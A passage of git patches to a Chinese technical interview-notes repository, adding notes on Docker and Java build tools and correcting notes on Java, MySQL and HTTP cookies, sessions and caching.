+
+- [DOCKER 101: INTRODUCTION TO DOCKER WEBINAR RECAP](https://blog.docker.com/2017/08/docker-101-introduction-docker-webinar-recap/)
+- [Docker 入门教程](http://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html)
+
+# 二、与虚拟机的比较
+
+虚拟机也是一种虚拟化技术，它与 Docker 最大的区别在于它是通过模拟硬件，并在硬件上安装操作系统来实现。
+
+<div align="center"> <img src="../pics//71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png"/> </div><br>
+
+<div align="center"> <img src="../pics//7e873b60-44dc-4911-b080-defd5b8f0b49.png"/> </div><br>
+
+## 启动速度
+
+启动虚拟机需要启动虚拟机的操作系统，再启动相应的应用，这个过程会非常慢；
+
+而启动 Docker 相当于启动宿主操作系统上的一个进程。
+
+## 占用资源
+
+虚拟机是一个完整的操作系统，需要占用大量的磁盘空间、内存和 CPU，一台机器只能开启几十个的虚拟机。
+
+而 Docker 只是一个进程，只需要将应用以及相应的组件打包，在运行时占用很少的资源，一台机器可以开启成千上万个 Docker。
+
+参考资料：
+
+- [Docker container vs Virtual machine](http://www.bogotobogo.com/DevOps/Docker/Docker_Container_vs_Virtual_Machine.php)
+
+# 三、优势
+
+除了启动速度快以及占用资源少之外，Docker 具有以下优势：
+
+## 更容易迁移
+
+Docker 可以提供一致性的运行环境，可以在不同的机器上进行迁移，而不用担心环境变化导致无法运行。
+
+## 更容易维护
+
+Docker 使用分层技术和镜像，使得应用可以更容易复用重复部分。复用程度越高，维护工作也越容易。
+
+## 更容易扩展
+
+可以使用基础镜像进一步扩展得到新的镜像，并且官方和开源社区提供了大量的镜像，通过扩展这些镜像得到我们想要的镜像非常容易。
+
+参考资料：
+
+- [为什么要使用 Docker？](https://yeasy.gitbooks.io/docker_practice/introduction/why.html)
+
+# 四、使用场景
+
+## 持续集成
+
+持续集成指的是频繁地将代码集成到主干上，这样能够更快地发现错误。
+
+Docker 具有轻量级以及隔离性的特点，在将代码集成到一个 Docker 中不会对其它 Docker 产生影响。
+
+## 提供可伸缩的云服务
+
+根据应用的负载情况，可以很容易地增加或者减少 Docker。
+
+## 搭建微服务架构
+
+Docker 轻量级的特点使得它很适合用于部署、维护、组合微服务。
+
+参考资料：
+
+- [What is Docker](https://www.docker.com/what-docker)
+- [持续集成是什么？](http://www.ruanyifeng.com/blog/2015/09/continuous-integration.html)
+
+# 五、镜像与容器
+
+镜像是一种静态的结构，可以看成面向对象里面的类，而容器是镜像的一个实例。
+
+镜像包含着容器运行时所需要的代码以及其它组件，它是一种分层结构，每一层都是只读的（read-only layers）。构建镜像时，会一层一层构建，前一层是后一层的基础。镜像的这种分层存储结构很适合镜像的复用以及定制。
+
+在构建容器时，通过在镜像的基础上添加一个可写层（writable layer），用来保存着容器运行过程中的修改。
+
+<div align="center"> <img src="../pics//docker-filesystems-busyboxrw.png"/> </div><br>
+
+参考资料：
+
+- [How to Create Docker Container using Dockerfile](https://linoxide.com/linux-how-to/dockerfile-create-docker-container/)
+- [理解 Docker（2）：Docker 镜像](http://www.cnblogs.com/sammyliu/p/5877964.html)
+
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diff --git a/pics/71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png b/pics/71f61bc3-582d-4c27-8bdd-dc7fb135bf8f.png
new file mode 100644
index 0000000000000000000000000000000000000000..4e99159f155cea26f0e7dc6e4c669c45008d1cf0
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From 5499e2b898a8dcad2003b9a95b9568fc03d6f187 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 31 Jul 2018 23:32:22 +0800
Subject: [PATCH 26/87] auto commit

---
 README.md | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/README.md b/README.md
index 5e49a332..e6c2eea2 100644
--- a/README.md
+++ b/README.md
@@ -135,6 +135,10 @@ XSS、CSRF、SQL 注入、DDoS
 
 一些 Git 的使用和概念。
 
+> [Docker](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Docker.md)
+
+Docker 基本原理。
+
 > [正则表达式](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/正则表达式.md)
 
 参考 正则表达式必知必会。

From ec0f8feef7c9fb2e283921f6305c048915c8ba83 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Wed, 1 Aug 2018 00:14:36 +0800
Subject: [PATCH 27/87] auto commit

---
 README.md | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/README.md b/README.md
index e6c2eea2..fe167481 100644
--- a/README.md
+++ b/README.md
@@ -143,6 +143,10 @@ Docker 基本原理。
 
 参考 正则表达式必知必会。
 
+> [构建工具](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/构建工具.md)
+
+参考 正则表达式必知必会。
+
 ## 编码实践 :speak_no_evil:
 
 > [重构](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/重构.md)

From 872c20998733315311b2cbbefbbee131f4c0ca07 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Wed, 1 Aug 2018 00:15:26 +0800
Subject: [PATCH 28/87] auto commit

---
 notes/构建工具.md                             | 147 ++++++++++++++++++
 pics/897503d0-59e3-4752-903d-529fbdb72fee.jpg | Bin 0 -> 20480 bytes
 2 files changed, 147 insertions(+)
 create mode 100644 notes/构建工具.md
 create mode 100644 pics/897503d0-59e3-4752-903d-529fbdb72fee.jpg

diff --git a/notes/构建工具.md b/notes/构建工具.md
new file mode 100644
index 00000000..ae1cac20
--- /dev/null
+++ b/notes/构建工具.md
@@ -0,0 +1,147 @@
+<!-- GFM-TOC -->
+* [一、什么是构建工具](#一什么是构建工具)
+* [二、Java 主流构建工具](#二java-主流构建工具)
+* [三、Maven](#三maven)
+<!-- GFM-TOC -->
+
+
+# 一、什么是构建工具
+
+构建工具用于构建项目的自动化工具，主要包含以下工作：
+
+## 依赖管理
+
+不再需要手动导入 Jar 依赖包，并且可以自动处理依赖关系，也就是说某个依赖如果依赖于其它依赖，构建工具可以帮助我们自动处理这种依赖管理；
+
+## 运行单元测试
+
+不再需要在项目代码中添加测试代码。
+
+## 将源代码转化为可执行文件
+
+包含预处理、编译、汇编、链接等步骤。
+
+## 将可执行文件进行打包
+
+不再需要使用 IDE 将应用程序打包成 Jar 包。
+
+## 发布到生成服务器上
+
+不再需要通过 FTP 将 Jar 包上传到服务器上。
+
+参考资料：
+
+- [What is a build tool?](https://stackoverflow.com/questions/7249871/what-is-a-build-tool)
+
+# 二、Java 主流构建工具
+
+主要包括 Ant、Maven 和 Gradle。
+
+<div align="center"> <img src="../pics//897503d0-59e3-4752-903d-529fbdb72fee.jpg"/> </div><br>
+
+Gradle 和 Maven 的区别是，它使用 Groovy 这种特定领域语言（DSL）来管理构建脚本，而不再使用 XML 这种标记性语言。因为项目如果庞大的话，XML 很容易就变得臃肿。
+
+例如要在项目中引入 Junit，Maven 的代码如下：
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+   <modelVersion>4.0.0</modelVersion>
+ 
+   <groupId>jizg.study.maven.hello</groupId>
+   <artifactId>hello-first</artifactId>
+   <version>0.0.1-SNAPSHOT</version>
+
+   <dependencies>
+          <dependency>
+               <groupId>junit</groupId>
+               <artifactId>junit</artifactId>
+               <version>4.10</version>
+               <scope>test</scope>
+          </dependency>
+   </dependencies>
+</project>
+```
+
+而 Gradle 只需要几行代码：
+
+```java
+dependencies {
+    testCompile "junit:junit:4.10"
+}
+```
+
+参考资料：
+
+- [Java Build Tools Comparisons: Ant vs Maven vs Gradle](https://programmingmitra.blogspot.com/2016/05/java-build-tools-comparisons-ant-vs.html)
+- [maven 2 gradle](http://sagioto.github.io/maven2gradle/)
+- [新一代构建工具 gradle](https://www.imooc.com/learn/833)
+
+# 三、Maven
+
+## 概述
+
+提供了项目对象模型（POM）文件来管理项目的构建。
+
+## 仓库
+
+仓库的搜索顺序为：本地仓库、中央仓库、远程仓库。
+
+- 本地仓库用来存储项目的依赖库；
+- 中央仓库是下载依赖库的默认位置；
+- 远程仓库，因为并非所有的库存储在中央仓库，或者中央仓库访问速度很慢，远程仓库是中央仓库的补充。
+
+## POM
+
+POM 代表项目对象模型，它是一个 XML 文件，保存在项目根目录的 pom.xml 文件中。
+
+```xml
+<dependency>
+    <groupId>junit</groupId>
+    <artifactId>junit</artifactId>
+    <version>4.12</version>
+    <scope>test</scope>
+</dependency>
+```
+
+[groupId, artifactId, version, packaging, classfier] 称为一个项目的坐标，其中 groupId、artifactId、version 必须定义，packaging 可选（默认为 Jar），classfier 不能直接定义的，需要结合插件使用。
+
+- groupId：项目组 Id，必须全球唯一；
+- artifactId：项目 Id，即项目名；
+- version：项目版本；
+- packaging：项目打包方式。
+
+## 依赖原则
+
+### 依赖路径最短优先原则
+
+```html
+A -> B -> C -> X(1.0)
+A -> D -> X(2.0)
+```
+由于 X(2.0) 路径最短，所以使用 X(2.0)。
+
+### 声明顺序优先原则
+
+```html
+A -> B -> X(1.0)
+A -> C -> X(2.0)
+```
+
+在 POM 中最先声明的优先，上面的两个依赖如果先声明 B，那么最后使用 X(1.0)。
+
+### 覆写优先原则
+
+子 POM 内声明的依赖优先于父 POM 中声明的依赖。
+
+## 解决依赖冲突
+
+找到 Maven 加载的 Jar 包版本，使用 `mvn dependency:tree` 查看依赖树，根据依赖原则来调整依赖在 POM 文件的声明顺序。
+
+参考资料：
+
+- [POM Reference](http://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)
+
+
+
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From 35c0302ca043ad642515a59abeddff24c83b9b00 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Wed, 1 Aug 2018 00:16:52 +0800
Subject: [PATCH 29/87] auto commit

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index fe167481..c06de1d0 100644
--- a/README.md
+++ b/README.md
@@ -145,7 +145,7 @@ Docker 基本原理。
 
 > [构建工具](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/构建工具.md)
 
-参考 正则表达式必知必会。
+构建工具的基本概念、主流构建工具介绍
 
 ## 编码实践 :speak_no_evil:
 

From 5c6d152dba5f4cdcd78827db3605e206424b6713 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Wed, 1 Aug 2018 00:20:53 +0800
Subject: [PATCH 30/87] auto commit

---
 notes/构建工具.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/notes/构建工具.md b/notes/构建工具.md
index ae1cac20..c0e4acd5 100644
--- a/notes/构建工具.md
+++ b/notes/构建工具.md
@@ -7,15 +7,15 @@
 
 # 一、什么是构建工具
 
-构建工具用于构建项目的自动化工具，主要包含以下工作：
+构建工具是用于构建项目的自动化工具，主要包含以下工作：
 
 ## 依赖管理
 
-不再需要手动导入 Jar 依赖包，并且可以自动处理依赖关系，也就是说某个依赖如果依赖于其它依赖，构建工具可以帮助我们自动处理这种依赖管理；
+不再需要手动导入 Jar 依赖包，并且可以自动处理依赖关系，也就是说某个依赖如果依赖于其它依赖，构建工具可以帮助我们自动处理这种依赖管理。
 
 ## 运行单元测试
 
-不再需要在项目代码中添加测试代码。
+不再需要在项目代码中添加测试代码，从而污染项目代码。
 
 ## 将源代码转化为可执行文件
 
@@ -25,7 +25,7 @@
 
 不再需要使用 IDE 将应用程序打包成 Jar 包。
 
-## 发布到生成服务器上
+## 发布到生产服务器上
 
 不再需要通过 FTP 将 Jar 包上传到服务器上。
 

From 428975aef07fa091034df033790aade5e189e78b Mon Sep 17 00:00:00 2001
From: Keqi Huang <keqih@smu.edu>
Date: Wed, 1 Aug 2018 00:56:41 +0800
Subject: [PATCH 31/87] =?UTF-8?q?Java=20=E5=87=BD=E6=95=B0=E9=87=8D?=
 =?UTF-8?q?=E5=86=99=E6=97=B6=EF=BC=8C=E5=AD=90=E7=B1=BB=E7=9A=84=E8=BF=94?=
 =?UTF-8?q?=E5=9B=9E=E5=80=BC=E7=B1=BB=E5=9E=8B=E8=A6=81=E7=AD=89=E4=BA=8E?=
 =?UTF-8?q?=E6=88=96=E8=80=85=E5=B0=8F=E4=BA=8E=E7=88=B6=E7=B1=BB=E7=9A=84?=
 =?UTF-8?q?=E8=BF=94=E5=9B=9E=E5=80=BC?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 notes/Java 基础.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notes/Java 基础.md b/notes/Java 基础.md
index 907eea00..564d643e 100644
--- a/notes/Java 基础.md	
+++ b/notes/Java 基础.md	
@@ -549,9 +549,9 @@ SuperExtendExample.func()
 
 ## 重写与重载
 
-- 重写（Override）存在于继承体系中，指子类实现了一个与父类在方法声明上完全相同的一个方法；
+- 重写（Override）存在于继承体系中，指子类实现了一个与父类在方法声明上完全相同的一个方法，子类的返回值类型要等于或者小于父类的返回值；
 
-- 重载（Overload）存在于同一个类中，指一个方法与已经存在的方法名称上相同，但是参数类型、个数、顺序至少有一个不同。应该注意的是，返回值不同，其它都相同不算是重载。
+- 重载（Overload）存在于同一个类中，指一个方法与已经存在的方法名称上相同，但是参数类型、个数、顺序至少有一个不同。应该注意的是，返回值不同，其它都相同不算是重载，但如果返回值类型等于或者小于父类的返回值则算是重写。
 
 # 五、Object 通用方法
 

From 34f1d045617c9db1c36e71f1d44f268ae455252a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <zhengyc101@163.com>
Date: Wed, 1 Aug 2018 09:53:19 +0800
Subject: [PATCH 32/87] Update README.md

---
 README.md | 22 ++++++++++++----------
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/README.md b/README.md
index c06de1d0..fe49083c 100644
--- a/README.md
+++ b/README.md
@@ -175,7 +175,9 @@ Google 开源项目的代码风格规范。
 
 笔记内容是笔者一个字一个字打上去的，难免会有一些笔误，如果发现笔误可直接在相应文档进行编辑修改。
 
-欢迎提交对本仓库的改进建议~
+如果想要提交一个仓库现在还没有的全新内容，可以先将相应的文档放到 other 目录下。
+
+欢迎在 Issue 中提交对本仓库的改进建议~
 
 **Authorization**
 
@@ -183,21 +185,21 @@ Google 开源项目的代码风格规范。
 
 转载使用请注明出处，谢谢！
 
-**Uploading**
-
-笔者在本地使用为知笔记软件进行书写，为了方便将本地笔记内容上传到 Github 上，实现了一整套自动化上传方案，包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。
-
-进行 Markdown 文档转换是因为 Github 使用的 GFM 不支持 MathJax 公式和 TOC 标记，所以需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。
-
-这里提供了笔者实现的 GFM 文档转换工具的链接：[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。
-
 **Typesetting**
 
 笔记内容按照 [中文文案排版指北](http://mazhuang.org/wiki/chinese-copywriting-guidelines/) 进行排版，以保证内容的可读性。
 
 笔记不使用 `![]()` 这种方式来引用图片，而是用 `<img>` 标签。一方面是为了能够控制图片以合适的大小显示，另一方面是因为 GFM 不支持 `<center> ![]() </center>` 让图片居中显示，只能使用 `<div align="center"> <img src=""/> </div>` 达到居中的效果。
 
-这里提供了笔者实现的中英混排文档在线排版工具的链接：[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting)。
+笔者将自己实现的文档排版功能提取出来，放在 Github Page 中，无需下载安装即可免费试用：[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting)。
+
+**Uploading**
+
+笔者在本地使用为知笔记软件进行书写，为了方便将本地笔记内容上传到 Github 上，实现了一整套自动化上传方案，包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。
+
+进行 Markdown 文档转换是因为 Github 使用的 GFM 不支持 MathJax 公式和 TOC 标记，所以需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。
+
+笔者将自己实现文档转换功能提取出来，方便大家在需要将本地 Markdown 上传到 Github，或者制作项目 README 文档时生成目录时使用：[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。
 
 **Statement**
 

From a255b9913befb2158d8310c116742158bb34cf32 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E9=83=91=E6=B0=B8=E5=B7=9D?= <zhengyc101@163.com>
Date: Wed, 1 Aug 2018 09:56:51 +0800
Subject: [PATCH 33/87] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index fe49083c..294ac656 100644
--- a/README.md
+++ b/README.md
@@ -191,7 +191,7 @@ Google 开源项目的代码风格规范。
 
 笔记不使用 `![]()` 这种方式来引用图片，而是用 `<img>` 标签。一方面是为了能够控制图片以合适的大小显示，另一方面是因为 GFM 不支持 `<center> ![]() </center>` 让图片居中显示，只能使用 `<div align="center"> <img src=""/> </div>` 达到居中的效果。
 
-笔者将自己实现的文档排版功能提取出来，放在 Github Page 中，无需下载安装即可免费试用：[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting)。
+笔者将自己实现的文档排版功能提取出来，放在 Github Page 中，无需下载安装即可免费使用：[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting)。
 
 **Uploading**
 

From fa13575bfb2e56f4479f9a5501d446a722e00d90 Mon Sep 17 00:00:00 2001
From: fighter <fighterhit@163.com>
Date: Wed, 1 Aug 2018 18:20:48 +0800
Subject: [PATCH 34/87] fix typos

---
 notes/MySQL.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/notes/MySQL.md b/notes/MySQL.md
index d49fc952..0ab28ad8 100644
--- a/notes/MySQL.md
+++ b/notes/MySQL.md
@@ -95,15 +95,15 @@ VARCHAR 会保留字符串末尾的空格，而 CHAR 会删除。
 
 ## 时间和日期
 
-MySQL 提供了两种相似的日期时间类型：DATATIME 和 TIMESTAMP。
+MySQL 提供了两种相似的日期时间类型：DATETIME 和 TIMESTAMP。
 
-### 1. DATATIME
+### 1. DATETIME
 
 能够保存从 1001 年到 9999 年的日期和时间，精度为秒，使用 8 字节的存储空间。
 
 它与时区无关。
 
-默认情况下，MySQL 以一种可排序的、无歧义的格式显示 DATATIME 值，例如“2008-01-16 22:37:08”，这是 ANSI 标准定义的日期和时间表示方法。
+默认情况下，MySQL 以一种可排序的、无歧义的格式显示 DATETIME 值，例如“2008-01-16 22:37:08”，这是 ANSI 标准定义的日期和时间表示方法。
 
 ### 2. TIMESTAMP
 
@@ -329,7 +329,7 @@ Explain 用来分析 SELECT 查询语句，开发人员可以通过分析 Explai
 一个大查询如果一次性执行的话，可能一次锁住很多数据、占满整个事务日志、耗尽系统资源、阻塞很多小的但重要的查询。
 
 ```sql
-DELEFT FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
+DELETE FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
 ```
 
 ```sql
@@ -351,7 +351,7 @@ do {
 - 查询本身效率也可能会有所提升。例如下面的例子中，使用 IN() 代替连接查询，可以让 MySQL 按照 ID 顺序进行查询，这可能比随机的连接要更高效。
 
 ```sql
-SELECT * FROM tab
+SELECT * FROM tag
 JOIN tag_post ON tag_post.tag_id=tag.id
 JOIN post ON tag_post.post_id=post.id
 WHERE tag.tag='mysql';

From ef16ad9ed6152cbcf28a3636c846632ca104bd34 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 2 Aug 2018 00:24:52 +0800
Subject: [PATCH 35/87] auto commit

---
 notes/HTTP.md           | 81 ++++++++++++++++++++++++++---------------
 notes/Java 基础.md      |  2 +-
 notes/MySQL.md          |  6 +--
 notes/计算机操作系统.md | 31 +++++++++++-----
 4 files changed, 77 insertions(+), 43 deletions(-)

diff --git a/notes/HTTP.md b/notes/HTTP.md
index 7f54bd1a..243dc283 100644
--- a/notes/HTTP.md
+++ b/notes/HTTP.md
@@ -360,9 +360,9 @@ console.log(document.cookie);
 
 ### 5. Secure 和 HttpOnly
 
-标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了 Secure 标记，敏感信息也不应该通过 Cookie 传输，因为 Cookie 有其固有的不安全性，Secure 标记也无法提供确实的安全保障。
+标记为 Secure 的 Cookie 只能通过被 HTTPS 协议加密过的请求发送给服务端。但即便设置了 Secure 标记，敏感信息也不应该通过 Cookie 传输，因为 Cookie 有其固有的不安全性，Secure 标记也无法提供确实的安全保障。
 
-标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。因为跨站脚本攻击 (XSS) 常常使用 JavaScript 的 `Document.cookie` API 窃取用户的 Cookie 信息，因此使用 HttpOnly 标记可以在一定程度上避免 XSS 攻击。
+标记为 HttpOnly 的 Cookie 不能被 JavaScript 脚本调用。跨站脚本攻击 (XSS) 常常使用 JavaScript 的 `Document.cookie` API 窃取用户的 Cookie 信息，因此使用 HttpOnly 标记可以在一定程度上避免 XSS 攻击。
 
 ```html
 Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
@@ -382,15 +382,15 @@ Path 标识指定了主机下的哪些路径可以接受 Cookie（该 URL 路径
 
 除了可以将用户信息通过 Cookie 存储在用户浏览器中，也可以利用 Session 存储在服务器端，存储在服务器端的信息更加安全。
 
-Session 可以存储在服务器上的文件、数据库或者内存中。也可以将 Session 存储在内存型数据库中，比如 Redis。
+Session 可以存储在服务器上的文件、数据库或者内存中。也可以将 Session 存储在内存型数据库中，比如 Redis，效率会更高。
 
 使用 Session 维护用户登录的过程如下：
 
 - 用户进行登录时，用户提交包含用户名和密码的表单，放入 HTTP 请求报文中；
 - 服务器验证该用户名和密码；
-- 如果正确则把用户信息存储到 Redis 中，它在 Redis 中的 ID 称为 Session ID；
+- 如果正确则把用户信息存储到 Redis 中，它在 Redis 中的 Key 称为 Session ID；
 - 服务器返回的响应报文的 Set-Cookie 首部字段包含了这个 Session ID，客户端收到响应报文之后将该 Cookie 值存入浏览器中；
-- 客户端之后对同一个服务器进行请求时会包含该 Cookie 值，服务器收到之后提取出 Session ID，从 Redis 中取出用户信息，继续之后的业务操作。
+- 客户端之后对同一个服务器进行请求时会包含该 Cookie 值，服务器收到之后提取出 Session ID，从 Redis 中取出用户信息，继续之前的业务操作。
 
 应该注意 Session ID 的安全性问题，不能让它被恶意攻击者轻易获取，那么就不能产生一个容易被猜到的 Session ID 值。此外，还需要经常重新生成 Session ID。在对安全性要求极高的场景下，例如转账等操作，除了使用 Session 管理用户状态之外，还需要对用户进行重新验证，比如重新输入密码，或者使用短信验证码等方式。
 
@@ -409,7 +409,7 @@ Session 可以存储在服务器上的文件、数据库或者内存中。也可
 ### 1. 优点
 
 - 缓解服务器压力；
-- 降低客户端获取资源的延迟（缓存资源比服务器上的资源离客户端更近）。
+- 降低客户端获取资源的延迟：缓存通常位于内存中，读取缓存的速度更快。并且缓存在地理位置上也有可能比源服务器来得近，例如浏览器缓存。
 
 ### 2. 实现方法
 
@@ -460,7 +460,10 @@ max-age 指令出现在响应报文中，表示缓存资源在缓存服务器中
 Cache-Control: max-age=31536000
 ```
 
-Expires 首部字段也可以用于告知缓存服务器该资源什么时候会过期。在 HTTP/1.1 中，会优先处理 Cache-Control : max-age 指令；而在 HTTP/1.0 中，Cache-Control : max-age 指令会被忽略掉。
+Expires 首部字段也可以用于告知缓存服务器该资源什么时候会过期。
+
+- 在 HTTP/1.1 中，会优先处理 max-age 指令；
+- 在 HTTP/1.0 中，max-age 指令会被忽略掉。
 
 ```html
 Expires: Wed, 04 Jul 2012 08:26:05 GMT
@@ -496,13 +499,16 @@ If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
 
 ### 1. 短连接与长连接
 
-当浏览器访问一个包含多张图片的 HTML 页面时，除了请求访问 HTML 页面资源，还会请求图片资源，如果每进行一次 HTTP 通信就要断开一次 TCP 连接，连接建立和断开的开销会很大。长连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。
+当浏览器访问一个包含多张图片的 HTML 页面时，除了请求访问 HTML 页面资源，还会请求图片资源。如果每进行一次 HTTP 通信就要断开一次 TCP 连接，连接建立和断开的开销会很大。
 
-从 HTTP/1.1 开始默认是长连接的，如果要断开连接，需要由客户端或者服务器端提出断开，使用 Connection : close；而在 HTTP/1.1 之前默认是短连接的，如果需要长连接，则使用 Connection : Keep-Alive。
+长连接只需要建立一次 TCP 连接就能进行多次 HTTP 通信。
+
+- 从 HTTP/1.1 开始默认是长连接的，如果要断开连接，需要由客户端或者服务器端提出断开，使用 `Connection : close`；
+- 在 HTTP/1.1 之前默认是短连接的，如果需要使用长连接，则使用 `Connection : Keep-Alive`。
 
 ### 2. 流水线
 
-默认情况下，HTTP 请求是按顺序发出的，下一个请求只有在当前请求收到相应之后才会被发出。由于会受到网络延迟和带宽的限制，在下一个请求被发送到服务器之前，可能需要等待很长时间。
+默认情况下，HTTP 请求是按顺序发出的，下一个请求只有在当前请求收到响应之后才会被发出。由于会受到网络延迟和带宽的限制，在下一个请求被发送到服务器之前，可能需要等待很长时间。
 
 流水线是在同一条长连接上发出连续的请求，而不用等待响应返回，这样可以避免连接延迟。
 
@@ -512,17 +518,17 @@ If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
 
 ### 1. 类型
 
-**（一）服务端驱动型内容协商** 
+**（一）服务端驱动型** 
 
 客户端设置特定的 HTTP 首部字段，例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language、Content-Languag，服务器根据这些字段返回特定的资源。
 
 它存在以下问题：
 
 - 服务器很难知道客户端浏览器的全部信息；
-- 客户端提供的信息相当冗长（HTTP/2 协议的首部压缩机制缓解了这个问题），并且存在隐私风险（HTTP 指纹识别技术）。
+- 客户端提供的信息相当冗长（HTTP/2 协议的首部压缩机制缓解了这个问题），并且存在隐私风险（HTTP 指纹识别技术）；
 - 给定的资源需要返回不同的展现形式，共享缓存的效率会降低，而服务器端的实现会越来越复杂。
 
-**（二）代理驱动型协商** 
+**（二）代理驱动型** 
 
 服务器返回 300 Multiple Choices 或者 406 Not Acceptable，客户端从中选出最合适的那个资源。
 
@@ -538,9 +544,11 @@ Vary: Accept-Language
 
 ## 内容编码
 
-内容编码将实体主体进行压缩，从而减少传输的数据量。常用的内容编码有：gzip、compress、deflate、identity。
+内容编码将实体主体进行压缩，从而减少传输的数据量。
 
-浏览器发送 Accept-Encoding 首部，其中包含有它所支持的压缩算法，以及各自的优先级，服务器则从中选择一种，使用该算法对响应的消息主体进行压缩，并且发送 Content-Encoding 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的，在响应中，Vary 首部中至少要包含 Content-Encoding，这样的话，缓存服务器就可以对资源的不同展现形式进行缓存。
+常用的内容编码有：gzip、compress、deflate、identity。
+
+浏览器发送 Accept-Encoding 首部，其中包含有它所支持的压缩算法，以及各自的优先级。服务器则从中选择一种，使用该算法对响应的消息主体进行压缩，并且发送 Content-Encoding 首部来告知浏览器它选择了哪一种算法。由于该内容协商过程是基于编码类型来选择资源的展现形式的，在响应的 Vary 首部至少要包含 Content-Encoding。
 
 ## 范围请求
 
@@ -622,10 +630,14 @@ HTTP/1.1 使用虚拟主机技术，使得一台服务器拥有多个域名，
 - 网络访问控制
 - 访问日志记录
 
-代理服务器分为正向代理和反向代理两种，用户察觉得到正向代理的存在；而反向代理一般位于内部网络中，用户察觉不到。
+代理服务器分为正向代理和反向代理两种：
+
+- 用户察觉得到正向代理的存在。
 
 <div align="center"> <img src="../pics//a314bb79-5b18-4e63-a976-3448bffa6f1b.png" width=""/> </div><br>
 
+- 而反向代理一般位于内部网络中，用户察觉不到。
+
 <div align="center"> <img src="../pics//2d09a847-b854-439c-9198-b29c65810944.png" width=""/> </div><br>
 
 ### 2. 网关
@@ -634,7 +646,7 @@ HTTP/1.1 使用虚拟主机技术，使得一台服务器拥有多个域名，
 
 ### 3. 隧道
 
-使用 SSL 等加密手段，为客户端和服务器之间建立一条安全的通信线路。
+使用 SSL 等加密手段，在客户端和服务器之间建立一条安全的通信线路。
 
 # 六、HTTPs
 
@@ -644,7 +656,7 @@ HTTP 有以下安全性问题：
 - 不验证通信方的身份，通信方的身份有可能遭遇伪装；
 - 无法证明报文的完整性，报文有可能遭篡改。
 
-HTTPs 并不是新协议，而是让 HTTP 先和 SSL（Secure Sockets Layer）通信，再由 SSL 和 TCP 通信。也就是说 HTTPs 使用了隧道进行通信。
+HTTPs 并不是新协议，而是让 HTTP 先和 SSL（Secure Sockets Layer）通信，再由 SSL 和 TCP 通信，也就是说 HTTPs 使用了隧道进行通信。
 
 通过使用 SSL，HTTPs 具有了加密（防窃听）、认证（防伪装）和完整性保护（防篡改）。
 
@@ -727,7 +739,11 @@ HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧，它们都是二进制格式
 
 <div align="center"> <img src="../pics//86e6a91d-a285-447a-9345-c5484b8d0c47.png" width="400"/> </div><br>
 
-在通信过程中，只会有一个 TCP 连接存在，它承载了任意数量的双向数据流（Stream）。一个数据流都有一个唯一标识符和可选的优先级信息，用于承载双向信息。消息（Message）是与逻辑请求或响应消息对应的完整的一系列帧。帧（Fram）是最小的通信单位，来自不同数据流的帧可以交错发送，然后再根据每个帧头的数据流标识符重新组装。
+在通信过程中，只会有一个 TCP 连接存在，它承载了任意数量的双向数据流（Stream）。
+
+- 一个数据流都有一个唯一标识符和可选的优先级信息，用于承载双向信息。
+- 消息（Message）是与逻辑请求或响应消息对应的完整的一系列帧。
